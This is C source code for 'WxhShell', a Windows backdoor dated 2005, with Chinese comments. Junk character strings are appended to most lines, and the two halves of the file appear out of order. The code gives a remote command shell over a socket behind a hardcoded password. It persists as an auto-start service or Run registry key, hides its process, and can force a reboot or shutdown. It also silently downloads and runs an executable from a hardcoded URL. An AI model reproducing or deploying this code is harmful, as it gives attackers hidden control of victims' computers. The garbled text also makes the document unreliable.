    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mae@L  
    else { *:8,w?Nt  
    closesocket(wsh); AGK{t+`  
    ExitThread(0); o>e-M  
    } (R-(  
    break; (Ky$(Ubb#6  
    } ^\7GFpc  
  // 获取shell QR {>]I  
  case 's': { !<= ^&\A  
    CmdShell(wsh); "P8( R  
    closesocket(wsh); !;M5.Y1j&"  
    ExitThread(0); 5m9;'SF  
    break; ~ As_O6JI  
  } YWhp4`m  
  // 退出 KZ$^Q<d^  
  case 'x': { *s$:"g-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g4}K6)@  
    CloseIt(wsh); 7O<K?;I  
    break; w 3$9  
    } 67]!xy  
  // 离开 wPl9%  
  case 'q': { OpLUmn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A+ LX37B  
    closesocket(wsh); tG*HUN?*  
    WSACleanup(); {C5-M!D{<  
    exit(1); C(&3L[  
    break; e|eWV{Dsz  
        } #r'S@:[  
  } {9XQ~t"m^  
  } 1-~sj)*k  
lX/:e=  
  // 提示信息 X.[8L^ldh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  |Fe*t  
} N7-LgP  
  } DsH#?h<-o  
^ wb9n  
  return; Vw+RRi(  
} ca,U>'(y  
][B>`gC-  
// shell模块句柄 nHl{'|~  
int CmdShell(SOCKET sock) <uvA([r=Vq  
{ Lrq e:\  
STARTUPINFO si; [WO>}rGw4  
ZeroMemory(&si,sizeof(si)); <`d;>r=4z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xk}\-&C7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i Ie{L-Na  
PROCESS_INFORMATION ProcessInfo; \CrWKBL  
char cmdline[]="cmd"; t)hi j&wzu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZiC~8p_f  
  return 0; &;[e  
} \-CL}Z}S  
;TulRx]EA  
// 自身启动模式 =DwY-Ex  
int StartFromService(void) S@cKo&^  
{ ^1;Eq>u  
typedef struct o ^""=Z  
{ ,D2nUk  
  DWORD ExitStatus; :(#5%6F  
  DWORD PebBaseAddress; yny1i9 y  
  DWORD AffinityMask; 2X6L'!=  
  DWORD BasePriority; e#(X++G  
  ULONG UniqueProcessId; `_!R;f  
  ULONG InheritedFromUniqueProcessId; 3`Gb ;D  
}   PROCESS_BASIC_INFORMATION; i=jY l  
}X~"RQf9  
PROCNTQSIP NtQueryInformationProcess; 3u[5T|D'  
F[*/D/y(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M=Y['w x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3|=L1Pw#  
g9gi7.'0  
  HANDLE             hProcess; G$VE o8Blb  
  PROCESS_BASIC_INFORMATION pbi; $Z<x r  
f0+vk'Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uLSuY}K0  
  if(NULL == hInst ) return 0; <KFl4A~  
\WxBtpbQ B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nhRpb9f`1@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5IfC8drAs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~8U0(n:^  
gl 27&'?E*  
  if (!NtQueryInformationProcess) return 0; Z6 E_Y?  
75;g|+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2b&Fu\2Dmv  
  if(!hProcess) return 0; z@v2t>@3k  
>DR$}{IV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vGwpDu\RgX  
|z?c>.  
  CloseHandle(hProcess); ! =*k+gpF  
X=V2^zrt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VcLzv{  
if(hProcess==NULL) return 0; +h8`8k'}-2  
lr]C'dD  
HMODULE hMod; eu'S~c-l  
char procName[255]; Hz j%G>  
unsigned long cbNeeded; 1AQy 8n*  
[F 24xC+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iw{^nSD  
!V-(K_\t  
  CloseHandle(hProcess); eIQ@){lJ-]  
lYS*{i1^ '  
if(strstr(procName,"services")) return 1; // 以服务启动 o8~<t]Ejw  
>65\  
  return 0; // 注册表启动 A45!hhf  
} a#a n+JY3  
0<+eN8od.  
// 主模块 "(Nt9K%P)  
int StartWxhshell(LPSTR lpCmdLine) d<[L^s9  
{ T\"-q4+=C  
  SOCKET wsl; s7,D}Zz  
BOOL val=TRUE; *W2o$_Hs  
  int port=0; &r2\P6J  
  struct sockaddr_in door; 8`_tnARIX  
#3?}MC  
  if(wscfg.ws_autoins) Install(); ?_eHvw  
+G)a+r'0Q  
port=atoi(lpCmdLine); gt\kTn."  
Y|buQQ|  
if(port<=0) port=wscfg.ws_port; odn3*{c{x  
k; >Vh'=X  
  WSADATA data; 0~ o,^AW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QOY{j  
6Ad=#MM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k"6&&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $laUkD#vz  
  door.sin_family = AF_INET; =MT'e,T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M0$E_*  
  door.sin_port = htons(port); -b|"%e<'  
$W%-Mm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :6]qr86  
closesocket(wsl); *K BaKS  
return 1; GJ F &id  
} 4W}mPeEeV  
[s{[ .0P]+  
  if(listen(wsl,2) == INVALID_SOCKET) { Qe-PW9C  
closesocket(wsl); LqNyi   
return 1; Wb[k2V  
} Vcnc=ct  
  Wxhshell(wsl); Q>71uM%e`  
  WSACleanup();  tq?a3  
&x;n^W;#  
return 0; F)v  
2[qoqd(  
} nxNHf3   
=- ,'LOE  
// 以NT服务方式启动 /4@ [^}x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @_W13@|  
{ .(3ec/i4CF  
DWORD   status = 0; (L yKo  
  DWORD   specificError = 0xfffffff; (4Nj3x o  
]k'^yc{5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XMdCQ=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qDU4W7|T`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bwj{5-FU  
  serviceStatus.dwWin32ExitCode     = 0; m)3M)8t  
  serviceStatus.dwServiceSpecificExitCode = 0; jsx&h Y%(  
  serviceStatus.dwCheckPoint       = 0; r?!:%L  
  serviceStatus.dwWaitHint       = 0; K?r  
'.M4yif \g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QZIzddwp  
  if (hServiceStatusHandle==0) return; Sc/$ 2gSG  
k61mRO  
status = GetLastError(); esj6=Gh  
  if (status!=NO_ERROR) xVgm 9s$"c  
{ '#h ORQB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A^#\=ZBg1  
    serviceStatus.dwCheckPoint       = 0; LrT EF j  
    serviceStatus.dwWaitHint       = 0; '5LdiSk  
    serviceStatus.dwWin32ExitCode     = status; 0{ ~2mggh  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^;rjs|`K#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @0]WMI9B"B  
    return; AI Kz]J0;  
  } w52p y7  
Pq8oK'z -  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^i_+ugJX  
  serviceStatus.dwCheckPoint       = 0; RRV%g!  
  serviceStatus.dwWaitHint       = 0; EwkSUA>Tm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M=lU`Sm  
} ZWo~!Z[Y  
gPT_}#_GxM  
// 处理NT服务事件,比如:启动、停止 MIn_?r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T&+3Xi:  
{ +ima$a0Zyt  
switch(fdwControl) FO%pdLs,  
{ @c'iT20  
case SERVICE_CONTROL_STOP: 6ulx0$[  
  serviceStatus.dwWin32ExitCode = 0; "lLh#W1d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6<$.Z-,  
  serviceStatus.dwCheckPoint   = 0; JJ%@m;~  
  serviceStatus.dwWaitHint     = 0; p:5NMo  
  { i?;#Z Nh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jC4>%!{m  
  } {sGEopd8]q  
  return; B^r?N-Z A  
case SERVICE_CONTROL_PAUSE: v_Sa0}K9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @j_o CDS  
  break; 8FMxn{k2  
case SERVICE_CONTROL_CONTINUE: |Z{#DOT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KFwuz()7  
  break; _uLpU4# ?  
case SERVICE_CONTROL_INTERROGATE: ?]$<Ufr  
  break; HI 1T  
}; 0NGth(2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GIH{tr1:<  
} cWZITT{A  
7@%qm|i>w  
// 标准应用程序主函数 =eUKpYI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  Ux*xz|^  
{ 2[ofz}k]r)  
Eu'E;*- f  
// 获取操作系统版本 [`b,SX x  
OsIsNt=GetOsVer(); wbAwmOiZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rzIWQFv  
o>C,Db~L/  
  // 从命令行安装 eyJWFJh  
  if(strpbrk(lpCmdLine,"iI")) Install(); V [g^R*b  
"Gp Tmu?  
  // 下载执行文件 =VzJ>!0  
if(wscfg.ws_downexe) { R}gdN-941  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %%}l[W  
  WinExec(wscfg.ws_filenam,SW_HIDE); r=0PW_r:  
} [|oG}'Xz  
#%@bZ f  
if(!OsIsNt) { 9 d a=q  
// 如果时win9x,隐藏进程并且设置为注册表启动 hS8M|_  
HideProc(); SoM,o]s#y  
StartWxhshell(lpCmdLine); _>\33V-?b  
} 7HH@7vpJ^  
else <Y7j'n  
  if(StartFromService()) -Yse^(^"s  
  // 以服务方式启动 =o~+R\1ux+  
  StartServiceCtrlDispatcher(DispatchTable); Q4-d|  
else W9Azp8)p]  
  // 普通方式启动 DSqA}r  
  StartWxhshell(lpCmdLine); IC'+{3.m8  
`aAE4Ry?  
return 0; dY&v(~&;]  
} DZ2gnRg  
yKl^-%Uq<  
8xAIn>,_  
>8I~i:hn  
=========================================== x)dLY.'|  
"zJxWXI  
JseKqJ?g  
S?JCi =  
)jgz(\KZ  
rtz-kQ38R  
" pP":,8Q{  
8A&N+sT  
#include <stdio.h> `oikSx$vB.  
#include <string.h> RNw#s R  
#include <windows.h> vc|tp_M67  
#include <winsock2.h> f\= @jV  
#include <winsvc.h> *uRDB9#9,  
#include <urlmon.h> q;nAq%  
2QbKh)   
#pragma comment (lib, "Ws2_32.lib") YU-wE';H6  
#pragma comment (lib, "urlmon.lib") O713'i  
 ,c`6-  
#define MAX_USER   100 // 最大客户端连接数 elGBX h  
#define BUF_SOCK   200 // sock buffer p1niS:}j  
#define KEY_BUFF   255 // 输入 buffer +BtLd+)R  
153*b^iDBh  
#define REBOOT     0   // 重启 uo]\L^j   
#define SHUTDOWN   1   // 关机 n$SL"iezW?  
jm<^WQ%Cc  
#define DEF_PORT   5000 // 监听端口 (Ud"+a  
[DjlkA/Zg  
#define REG_LEN     16   // 注册表键长度 N7"cMAs\G  
#define SVC_LEN     80   // NT服务名长度 >g!$H}\  
t=Rl`1 =(K  
// 从dll定义API Xk%eU>d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )fXw~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <`SA >P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h!(# /  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n%36a(] t  
SHPDbBS  
// wxhshell配置信息 Pl'lmUR  
struct WSCFG { J)Yz@0#T(;  
  int ws_port;         // 监听端口 bz nMD  
  char ws_passstr[REG_LEN]; // 口令 /PaS <"<P@  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4>d]0=x  
  char ws_regname[REG_LEN]; // 注册表键名 Mj>Q V(L8t  
  char ws_svcname[REG_LEN]; // 服务名 ECL{`m(#n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fI;nVRf p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]]r ;}$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `dX0F=Ag?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m=h/A xW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s7}-j2riq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s~(`~Y4  
`*Wg&u  
}; Es}`S Ie/  
VgbT/v  
// default Wxhshell configuration S3HyB b  
struct WSCFG wscfg={DEF_PORT, *\:sHVyG(  
    "xuhuanlingzhe", g51UIN]o-  
    1, |AExaO"jk  
    "Wxhshell", <6.`(isph  
    "Wxhshell", |ul{d|  
            "WxhShell Service", um/F:rp  
    "Wrsky Windows CmdShell Service", FU*q9s`  
    "Please Input Your Password: ", @||nd,i`n~  
  1, {l/`m.Z  
  "http://www.wrsky.com/wxhshell.exe", 6j1C=O@S  
  "Wxhshell.exe" 7ieAd/:_  
    }; G,WLca[  
&%(Dd  
// 消息定义模块 kene' aDm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (8ct'Q;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @[\zO'|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6,1oLvU  
char *msg_ws_ext="\n\rExit."; }3WP:Et  
char *msg_ws_end="\n\rQuit."; op-\|<i  
char *msg_ws_boot="\n\rReboot..."; eFy {VpO+  
char *msg_ws_poff="\n\rShutdown..."; S~m8j |3K  
char *msg_ws_down="\n\rSave to "; ntPX?/  
7$0bgWi  
char *msg_ws_err="\n\rErr!"; _ A{F2M  
char *msg_ws_ok="\n\rOK!"; :! $+dr(d  
EcytNYn  
char ExeFile[MAX_PATH]; 7&jq  =  
int nUser = 0; G[`2Nd<  
HANDLE handles[MAX_USER]; /`#JM  
int OsIsNt; u^'X>n)oL#  
rN.8-  
SERVICE_STATUS       serviceStatus; Wzff p}V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .n.N.e  
XCyb[(4  
// 函数声明 4kV$JV.l  
int Install(void); e^;:iJS  
int Uninstall(void); BVus3Y5IJQ  
int DownloadFile(char *sURL, SOCKET wsh); 2*gB~Jn4  
int Boot(int flag); !"hzGgOOX  
void HideProc(void); Ed-3-vJej6  
int GetOsVer(void); Ms3GvPsgv  
int Wxhshell(SOCKET wsl); `d/* sX?k  
void TalkWithClient(void *cs); &oZU=CN  
int CmdShell(SOCKET sock); qv:DpK  
int StartFromService(void); k %sxA  
int StartWxhshell(LPSTR lpCmdLine); _ q>|pt.W  
H|`D3z.c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^,f^YL;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "8a ?K Q  
F]<2nb7  
// 数据结构和表定义 ,5T1QWn^f  
SERVICE_TABLE_ENTRY DispatchTable[] = y La E]  
{ *].qm g%  
{wscfg.ws_svcname, NTServiceMain},  r/)ZKO,  
{NULL, NULL} -M T1qqi  
}; 4}*.0'Hz  
3-Xd9ou  
// 自我安装 S|6i]/  
int Install(void) w|0:0Rc~u  
{ f?16%Rk<  
  char svExeFile[MAX_PATH]; c|k(_#\B  
  HKEY key; [yc7F0Aw  
  strcpy(svExeFile,ExeFile); f+)LVT8p  
k#/cdK!K  
// 如果是win9x系统,修改注册表设为自启动 oSYbx:2wo  
if(!OsIsNt) { >b:5&s\9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _sL;E<)y(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DH i@ujr  
  RegCloseKey(key); !4Sd^"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^;[_CF _  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @FF{lK?[  
  RegCloseKey(key); 0$=U\[og  
  return 0; 'w<^4/L Q  
    } \;Q!}_ K  
  } <7L-25 =  
} }1CvbB%,A  
else { E]a;Ydf~  
0pH$Mk Q  
// 如果是NT以上系统,安装为系统服务 XW^Pz (  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;nAx@_ab^  
if (schSCManager!=0) F,K))325  
{ -QBM^L  
  SC_HANDLE schService = CreateService ^q%f~m,O<  
  ( /t2H%#v{  
  schSCManager,  b=Ektq  
  wscfg.ws_svcname, \CS4aIp  
  wscfg.ws_svcdisp, XgeUS;qtta  
  SERVICE_ALL_ACCESS, pbwOma2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :2wT)wz  
  SERVICE_AUTO_START, b+f '  
  SERVICE_ERROR_NORMAL, 8$IUit h  
  svExeFile, O9ro{ k  
  NULL, y~M 6  
  NULL, C58B(Ndo  
  NULL, 'L{pS-+6  
  NULL, fgF@ x  
  NULL )U]q{0`  
  ); Xw|-v$'y  
  if (schService!=0) _t4(H))]vG  
  { o>&pj  
  CloseServiceHandle(schService); D+q z`  
  CloseServiceHandle(schSCManager); G_ ~qk/7mF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a6It1%a+  
  strcat(svExeFile,wscfg.ws_svcname); "W9z>ezp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V;Ln|._/t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J?4dafkw  
  RegCloseKey(key); 2jkma :$'  
  return 0; I,]q;lEMt  
    } zQ u9LN  
  } OKu~Nb*  
  CloseServiceHandle(schSCManager); ^bdXzjf  
} mGF)Ot R  
} >dwWqcP  
OW!y7  
return 1; Aq>?G+  
} E4_,EeC#  
6 lEv<)cC  
// 自我卸载 CqU^bVs  
int Uninstall(void) ]Qp-$)N  
{ %`/F> `  
  HKEY key; "%_T7 A ![  
L[`8 :}M  
if(!OsIsNt) { 6UqDpL7^U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g-m,n=qu  
  RegDeleteValue(key,wscfg.ws_regname); /paZJ}Pr.  
  RegCloseKey(key); yGX5\PSo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zq3f@xOK  
  RegDeleteValue(key,wscfg.ws_regname); giesof  
  RegCloseKey(key); l$R9c+L=  
  return 0; P{StF`>Y  
  } g{2~G6%;0  
} n(SeJk%>9  
} %8YUK/(|n  
else { ?papk4w  
Q `-Xx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S&J5QZjC  
if (schSCManager!=0) ~JS@$#  
{ S{{wcH$n'i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >8$Lqj^i  
  if (schService!=0) |PGTP#O<  
  { 3`NSSS  
  if(DeleteService(schService)!=0) { n+2>jY  
  CloseServiceHandle(schService); 9}a&:QTHR  
  CloseServiceHandle(schSCManager); Kt/:caD  
  return 0; K\mFb  
  } p+7#`iICE  
  CloseServiceHandle(schService); ;r.#|b  
  } @`iz0DPG?Y  
  CloseServiceHandle(schSCManager); !>GDp>0  
} # 00?]6`z  
} 2 ksbDl}  
]A1'+!1$  
return 1; rQ&XHG>Q*  
} )Z\Zw~L  
>Dz8+y  
// 从指定url下载文件 -q&,7'V  
int DownloadFile(char *sURL, SOCKET wsh) ##Qy6Dc  
{ E #!.;AQ  
  HRESULT hr; \vS > jB  
char seps[]= "/"; 2|NQ5OA0  
char *token; K=pG,[ChA  
char *file; [Ov/&jD"  
char myURL[MAX_PATH]; 3bQq Nk  
char myFILE[MAX_PATH]; 9eR";Wm])  
g?cxqC<  
strcpy(myURL,sURL); k3]qpWKj  
  token=strtok(myURL,seps); K;>9K'n  
  while(token!=NULL) =CjWPZShV  
  { h*3{IHAQ  
    file=token; lc]cs D  
  token=strtok(NULL,seps); Deq@T {  
  } Kp;a(D  
9XUk.Nek  
GetCurrentDirectory(MAX_PATH,myFILE); RRl`;w?  
strcat(myFILE, "\\"); Rv.IHSQUo  
strcat(myFILE, file); Kb'4W-&u!  
  send(wsh,myFILE,strlen(myFILE),0);  2 av=W  
send(wsh,"...",3,0); {Eqx'j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `_BmVms  
  if(hr==S_OK) wbg ?IvY[  
return 0; JEP9!y9y  
else $)KNpdXh  
return 1; Q9;VSF)  
m9\~dD  
} B$S@xD $  
7 ;2>kgf~  
// 系统电源模块 [ /<kPi  
int Boot(int flag) *&V"x=ba,  
{ ~n(LBA  
  HANDLE hToken; !Fs<r)j  
  TOKEN_PRIVILEGES tkp; Tl+PRR6D*  
~aXJ5sY"f&  
  if(OsIsNt) { 05 .EI)7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j9-.bGtm?.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]3Jb$Q@  
    tkp.PrivilegeCount = 1; ~(=5`9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k?1e + \  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6]4=8! J  
if(flag==REBOOT) { w$ ""])o,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D u_ ;!E  
  return 0; c6iFha;db  
} *qxv"PptX  
else { Os!x<r|r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }1Q> A 5e  
  return 0; ;*d?Qe:  
} VJ1rU mO~  
  } [<>%I#7ulG  
  else { ;1>V7+/  
if(flag==REBOOT) { EoS6t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M-e|$'4u  
  return 0; E 5mYFVK  
} #RKd >ig%  
else { [+!+Yn6:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 57_AJT hR  
  return 0; v+( P4f S  
} pIKfTkSqH  
} hZ')<@hNP  
PO|gM8E1x?  
return 1; oxJAI4{y 4  
} ?KE:KV[Y  
;qcOcm%  
// win9x进程隐藏模块 eQMa9_  
void HideProc(void) f=Oj01Ut*  
{ ke)<E98DC  
t Q.%f:|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ']Z%6_WF  
  if ( hKernel != NULL ) }}oIZP\qM  
  { i8#:y`ai  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =<AG}by![  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <@y(ikp>  
    FreeLibrary(hKernel); OU*skc>  
  } sWi4+PAM0  
Cn_r?1{W  
return; vtc%MG1  
} iT+t  
Q@*9|6-  
// 获取操作系统版本 MVEh<_  
int GetOsVer(void) P!{J28dj  
{ c2]h.G83  
  OSVERSIONINFO winfo; }{[JS=A^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); " ^!=e72  
  GetVersionEx(&winfo); %UG|R:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qV-1aaA  
  return 1; Dw,LB>Eq,  
  else '}q/;}ih  
  return 0; lQ4$d{m`  
} j#YVv c%  
t&IWKu#  
// 客户端句柄模块 >A}ra^gU  
int Wxhshell(SOCKET wsl) 3w/z$bj  
{ m &[(xVM  
  SOCKET wsh; f*^bV_  
  struct sockaddr_in client;  TZdJq  
  DWORD myID; Eks<O  
EH'eyC-B<  
  while(nUser<MAX_USER) N5tFEV'G  
{ EEvi_Z932  
  int nSize=sizeof(client); {#&D=7LP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FR\r/+n:t0  
  if(wsh==INVALID_SOCKET) return 1; }Q-Tw,j  
:\%hv>}|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @2>ce2+  
if(handles[nUser]==0) ]|[mwC4  
  closesocket(wsh); 'G`xD3 E3,  
else 9MbF:  
  nUser++; q } (f9  
  } I,r0K]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zY].ZS=7  
f+Fzpd?wS  
  return 0; 2Ic)]6z R  
} )[=C@U  
%iZ~RTY6 !  
// 关闭 socket vJ;0%;eu[!  
void CloseIt(SOCKET wsh) khQ fLA  
{ 1`Uu;mz  
closesocket(wsh); =~q$k  
nUser--; m,F4N$  
ExitThread(0); r_o\72  
} Bo0T}P~  
qporH]J-E  
// 客户端请求句柄 H8E#r*"-m  
void TalkWithClient(void *cs) yXf+dMv  
{ %B\VY+  
-JclEp  
  SOCKET wsh=(SOCKET)cs; p1IN%*IV+o  
  char pwd[SVC_LEN]; ,5x9o"N!  
  char cmd[KEY_BUFF]; O_*tDq,e  
char chr[1]; G}nj 71=H  
int i,j; `*B6T7p1  
8]4W@~c  
  while (nUser < MAX_USER) { M0]J `fL@  
CH6;jo]  
if(wscfg.ws_passstr) { w4RtIDW:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Xasd3*Py  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  o%$R`;  
  //ZeroMemory(pwd,KEY_BUFF); u!McPM8Yk  
      i=0; ]zI*}(adu  
  while(i<SVC_LEN) { -r[O_[g w  
jTqE V(  
  // 设置超时 Lv#}Gm  
  fd_set FdRead; j<h0`v  
  struct timeval TimeOut; ^[q/w<_j~  
  FD_ZERO(&FdRead); d\tA1&k71  
  FD_SET(wsh,&FdRead); ^+Vf*YY 8  
  TimeOut.tv_sec=8; mzf^`/NO  
  TimeOut.tv_usec=0; o3le[6C/8=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x. /WP~I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `Zci <  
YIHGXi<"n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JE;!~=   
  pwd=chr[0]; 0 R>!jw  
  if(chr[0]==0xd || chr[0]==0xa) { Xzqx8Kd  
  pwd=0; hh-sm8  
  break; "[CR5q9Pr  
  } -hGLGF??  
  i++; ^,Ft7JAn  
    } Na+3aM%%  
1:q`KkJx  
  // 如果是非法用户,关闭 socket ~vMJ?P@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -LlS9[r0  
} IG!(q%Gf  
",S146Y+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -e_pw,5c '  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @\U] hN?  
I@(3~ Ab  
while(1) { 26=G%F6  
'lOpoWDL  
  ZeroMemory(cmd,KEY_BUFF);  \ns} M3  
:VX2&*  
      // 自动支持客户端 telnet标准   g!`^!Q/($  
  j=0; xQNGlVipZ@  
  while(j<KEY_BUFF) { lXutZ<S[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ".kH5(:  
  cmd[j]=chr[0]; {wf5HA  
  if(chr[0]==0xa || chr[0]==0xd) { m=60a@o]  
  cmd[j]=0; }RUK?:lEA  
  break; ,]tMZ?n8  
  } B3E}fQm )  
  j++; Am >b7Z!  
    } =TA8]7S~U  
<jh=W9.N_  
  // 下载文件 vJ>o9:(6  
  if(strstr(cmd,"http://")) { x}OJ~Yk]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ys<z%  
  if(DownloadFile(cmd,wsh)) /lc4oXG8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Kk?BRxi  
  else 8k^1:gt^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?2K~']\S  
  } w3"%d~/[x  
  else { x.'Ys1M  
aX*7tRn_%  
